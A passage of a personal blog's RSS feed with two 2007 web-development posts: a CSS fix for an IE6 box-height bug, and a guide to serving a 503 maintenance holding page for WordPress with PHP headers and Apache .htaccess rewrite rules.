		<comments>http://sltaylor.co.uk/blog/2007/04/ie-css-box-height-bug/#comments</comments>
		<pubDate>Wed, 25 Apr 2007 20:05:55 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[css]]></category>

		<category><![CDATA[internet explorer]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/04/ie-css-box-height-bug/</guid>
		<description><![CDATA[A small but infuriating CSS bug in IE&#8230; No shit.
I&#8217;m creating a box with rounded corners around some content using my usual method:

Place empty &#60;div&#62;s with ids above and below the content &#60;div&#62;
Create background images for the top and bottom of the box &#60;div&#62;s, and put them in (with fixed width and height for the [...]]]></description>
			<content:encoded><![CDATA[<p>A small but infuriating CSS bug in IE&#8230; No shit.</p>
<p>I&#8217;m creating a box with rounded corners around some content using my usual method:</p>
<ul>
<li>Place empty <code>&lt;div&gt;</code>s with <code>id</code>s above and below the content <code>&lt;div&gt;</code></li>
<li>Create background images for the top and bottom of the box <code>&lt;div&gt;</code>s, and put them in (with fixed width and height for the <code>&lt;div&gt;</code>) with CSS</li>
<li>Continue the border along either side of the content <code>&lt;div&gt;</code> with CSS borders</li>
</ul>
<p>All well and good. Only, on IE6/Win, the top <code>&lt;div&gt;</code> wouldn&#8217;t shrink to less than about 16px, leaving a gap of whitespace below the 8px high background image.</p>
<p>After much searching, I found a workaround buried in the life-saving <a href="http://www.positioniseverything.net/explorer/expandingboxbug.html">Explorer Exposed</a> pages. You can read about the ins and outs over there; here you&#8217;re just going to get a nice quick fix.</p>
<p>Put this in the CSS rule for the <code>&lt;div&gt;</code>:</p>
<blockquote class="code"><p>overflow: hidden;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/04/ie-css-box-height-bug/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The holding page and the 503 status code</title>
		<link>http://sltaylor.co.uk/blog/2007/04/503-holding-page/</link>
		<comments>http://sltaylor.co.uk/blog/2007/04/503-holding-page/#comments</comments>
		<pubDate>Wed, 04 Apr 2007 19:54:48 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[apache]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/04/503-holding-page/</guid>
		<description><![CDATA[NOTE: I&#8217;ll leave the information here for reference as it&#8217;ll probably still be useful to some. But for anyone using WordPress who wants a convenient way of putting up a holding page without confusing search bots and without blocking yourself from using the site while it&#8217;s &#8220;down&#8221;, I&#8217;ve just found the very neat Maintenance Mode [...]]]></description>
			<content:encoded><![CDATA[<p class="alert"><strong>NOTE:</strong> I&#8217;ll leave the information here for reference as it&#8217;ll probably still be useful to some. But for anyone using WordPress who wants a convenient way of putting up a holding page without confusing search bots <em>and</em> without blocking yourself from using the site while it&#8217;s &#8220;down&#8221;, I&#8217;ve just found the very neat <a href="http://sw-guide.de/wordpress/plugins/maintenance-mode/">Maintenance Mode plugin</a>. Seems to work like a treat. <i>14/2/08</i></p>
<p>Ever wanted to have a system in place that allows you to easily &#8220;switch on&#8221; a holding page for the whole of your site for when you need to do some maintenance? Well, that&#8217;s relatively easy to do; but what about bots? Even if you&#8217;re only down for 10 minutes, what if your luck is such that <a href="http://www.google.com/support/webmasters/bin/topic.py?topic=8843">Googlebot</a> makes its random rounds at precisely that time? Depending on how you&#8217;re holding page works, it might register a load of &#8220;404 - Not Found&#8221; errors, or replace your indexed content with your holding page&#8230; Who knows? Not I.</p>
<p>Well, with yet another WordPress upgrade (2.1.3) just out, I thought I would try to get to the bottom of this holding page issue. WordPress upgrades might be made smoother in a future version; but for now, it&#8217;s a slightly brutal case of deleting your live files and replacing them. Even without discovering some hair-tearing plugin incompatibilities along the way, or accidentally overwriting a crucial hack you&#8217;ve coded into your installation, a proper upgrade can take 10-20 minutes.</p>
<p>The only really useful page I found on the issue of bots and holding pages was over at <a href="http://www.askapache.com/htaccess/instruct-search-engines-to-come-back-to-site-after-you-finish-working-on-it.html">AskApache.com</a>. You can head over there and work out your own adaptation; I thought I&#8217;d document mine here for reference.</p>
<p>Note that the basics of this require PHP running on an Apache web server, with <code>mod_rewrite</code> enabled. The rest assumes you&#8217;re using WordPress.</p>
<h2>The holding page</h2>
<p>I created a file, <code>503.php</code>, sitting in my site&#8217;s root. The code looks something like this:</p>
<blockquote class="code"><p>
&lt;?php<br />
header(&quot;HTTP/1.1 503 Service Temporarily Unavailable&quot;);<br />
header(&quot;Status: 503 Service Temporarily Unavailable&quot;);<br />
header(&quot;Retry-After: 3600&quot;);<br />
?&gt;&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;<br />
&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />
&lt;html xml:lang=&quot;en&quot; lang=&quot;en&quot; xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;<br />
&lt;title&gt;Site upgrade in progress&lt;/title&gt;<br />
&lt;meta name=&quot;robots&quot; content=&quot;none&quot; /&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;h1&gt;Site upgrade in progress&lt;/h1&gt;<br />
&lt;p&gt;This site is being upgraded, and can&#8217;t currently be accessed.&lt;/p&gt;<br />
&lt;p&gt;It should be back up and running very soon. Please check back in a bit!&lt;/p&gt;<br />
&lt;hr /&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;
</p></blockquote>
<p>Those first two lines of PHP set the request&#8217;s HTTP headers to the &#8220;503 Service Unavailable&#8221; <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">status code</a>. HTTP headers are invisible when you&#8217;re browsing the web, but are read by the browser itself and by bots crawling around (and can be checked out via tools like <a href="http://web-sniffer.net/">Web-Sniffer</a> and the Firefox <a href="http://chrispederick.com/work/webdeveloper/">Web Developer Extension</a>). This status code means:</p>
<blockquote cite="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html"><p>The server is currently unable to handle the request due to a temporary overloading or maintenance of the server. The implication is that this is a temporary condition which will be alleviated after some delay.</p></blockquote>
<p>Just what we want.</p>
<p>The <code>Retry-After</code> bit is used to indicate how long you expect the site to be down for (in seconds). If you are hit by a search engine bot while down, it&#8217;ll probably understand this, but of course it doesn&#8217;t mean it&#8217;ll return as soon as that time&#8217;s elapsed. It&#8217;s probably got better things to do. At least it knows not to return too soon.</p>
<p>The rest is a plain page for humans, letting them know in English what&#8217;s going on. It needn&#8217;t be as minimalist as this; you can add branding if you want, and maybe a link to another site to be polite and give people a &#8220;way out&#8221;.</p>
<h2>Allowing yourself access</h2>
<p>The next step is to alter your <code><a href="http://httpd.apache.org/docs/1.3/howto/htaccess.html">.htaccess</a></code> file to make sure all requests go to the 503 page.</p>
<p>But hang on - what about your good self? How do you test out all the maintenance you&#8217;re doing if you&#8217;re just being sent to <code>503.php</code> with everyone else?</p>
<p>Basically, you filter requests by IP address. Assuming you have a static IP address, you can test that, and only let your own IP through.</p>
<p>Here&#8217;s the code for your <code>.htaccess</code> file:</p>
<blockquote class="code"><p>
Options +FollowSymLinks<br />
RewriteEngine On<br />
RewriteBase /<br />
RewriteCond %{REMOTE_ADDR} !^23\.23\.23\.23<br />
RewriteCond %{REQUEST_URI} !^/503.php [NC]<br />
RewriteRule .* /503.php [L]
</p></blockquote>
<p>Just replace those numbers on the fourth line with <a href="http://www.whatismyipaddress.com/">your own IP</a>. (Keep the backslashes before each dot!)</p>
<p>Those two <code>RewriteCond</code> (&#8221;rewrite condition&#8221;) lines basically mean: <em>only apply the following rewrite if the IP of the request (REMOTE_ADDR) doesn&#8217;t match the one given, and the file requested (REQUEST_URI) isn&#8217;t <code>503.php</code> (preventing an infinite loop!)</em>. As long as it&#8217;s not you and they&#8217;re not already going to <code>503.php</code>, the <code>RewriteRule</code> kicks in and serves that page up. (Though note that the URL in the browser address bar doesn&#8217;t change for the user; this is rewriting, not redirecting.)</p>
<p>Note that last <code>[L]</code> in the code. That means, if this rewrite rule is processed, make it the last one. This is handy if you have other rewrites (e.g. your WordPress rewrites) that still need to work when you access the site, but which shouldn&#8217;t intefere with this rule for everyone else. Of course, for this reason, the above code should go right at the top of your file.</p>
<h2>The switch</h2>
<p>You may have your own technique. I keep <code>503.php</code> and <code>503.htaccess</code> in the web root. When I need to switch my holding page in, I just rename my usual <code>.htaccess</code> to something like <code>LIVE.htaccess</code>, and (quickly!) rename <code>503.htaccess</code> to <code>.htaccess</code>.</p>
<p>All should now be on hold for the rest of the world. Bots should be politely leaving your site be for the while. And you should be able to get in and muck around to your heart&#8217;s content.</p>
<h3>Looking through other&#8217;s eyes</h3>
<p>A pesky stumbling block I came up against developing this technique was my obvious inability to see what other people were seeing via all those other IP addresses. My friend <a href="http://numero57.net/">Jim</a>, ever abreast of tech developments, directed me to the <a href="http://www.torrify.com/software_torpark.html">Torpark</a> browser. Built on the Firefox shell, this browser is designed to anonymize your web surfing by routing your requests through a labyrinthine series of IP relays (or whatever they might call them).</p>
<p>It&#8217;s sluggish, but it works. Whatever your IP ends up being seen as by servers while browsing with this nifty tool, it won&#8217;t be your actual IP.</p>
<h2>Upgrading WordPress</h2>
<p>So, with these tricks ready to go, here&#8217;s my revised WordPress upgrade guide. (Do also check <a href="http://codex.wordpress.org/Upgrading_WordPress">the official guide</a> if you&#8217;re new to this though!)</p>
<p>One thing to bear in mind with more recent WordPress versions is that if the <code>.htaccess</code> file doesn&#8217;t contain WordPress&#8217; rewrite rules at the end, it may try to &#8220;fix&#8221; things - and break them. Make sure your 503 <code>.htaccess</code> file has your usual WordPress rewrite rules <em>at the end</em>.</p>
<ol>
<li>Backup all your files and your database.</li>
<li>Make sure you&#8217;ve a record of which files you&#8217;ve customized.</li>
<li>Do the 503 holding page switch.</li>
<li>De-activate all your plugins.</li>
<li>Delete all files apart from <code>wp-config.php</code>, the <code>wp-content</code> directory, and of course <code>.htaccess</code> and <code>503.php</code></li>
<li>Upload all files in the new version of WordPress (excluding the <code>wp-content</code> directory)</li>
<li>Run the upgrade script (e.g. <code>http://yourdomain.com/wp-admin/upgrade.php</code>)</li>
<li>Re-activate the plugins. Pray.</li>
<li>Check the site out, make sure it&#8217;s survived OK.</li>
<li>Revert to the original <code>.htaccess</code> file.</li>
<li>Done!</li>
</ol>
<h2 class="update">Update</h2>
<p>I&#8217;ve just tried implementing this technique to display a holding page for a site that&#8217;s yet to be launched. Pretty much the same situation, but an interesting issue came up when I tried to include an image on the holding page. The image wouldn&#8217;t appear. I spent a frustrating 5 minutes checking paths and files, but eventually it dawned on me: the browser&#8217;s request for the image file was returning a 503 error, not the image!</p>
<p>A little extra <code>.htaccess</code> magic remedies this. Insert the following line before your <code>RewriteRule</code> line:</p>
<blockquote class="code"><p>RewriteCond %{REQUEST_FILENAME} !\.(gif|jpe?g|png)$</p></blockquote>
<p>Of course you may need to add <code>css</code> or <code>js</code> to that list of filetypes, depending on your holding page&#8217;s needs.</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/04/503-holding-page/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
